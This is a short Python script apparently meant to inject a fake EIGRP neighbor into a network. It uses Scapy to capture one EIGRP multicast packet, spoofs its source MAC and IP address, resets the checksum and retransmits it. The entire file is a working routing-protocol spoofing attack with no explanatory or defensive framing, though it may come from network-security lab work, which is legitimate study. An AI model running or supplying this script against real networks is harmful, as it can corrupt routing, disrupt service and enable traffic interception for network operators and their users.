eigrp-one-fake-neighbor.py

#!/usr/bin/env python3
#Add fake EIGRP neigbor, one packet
#Import scapy
from scapy.all import *
#Import EIGRP
load_contrib('eigrp')
#Sniff for an EIGRP packet
pkt = sniff(filter="ip dst 224.0.0.10",count=1)
#Change the source MAC address
pkt[0].src="00:00:00:11:11:11"
#Change the source IP address
pkt[0][IP].src="192.168.122.123"
#Change Checksum
pkt[0][IP].chksum=None
#Send packet into network
sendp(pkt[0], loop=0, verbose=1)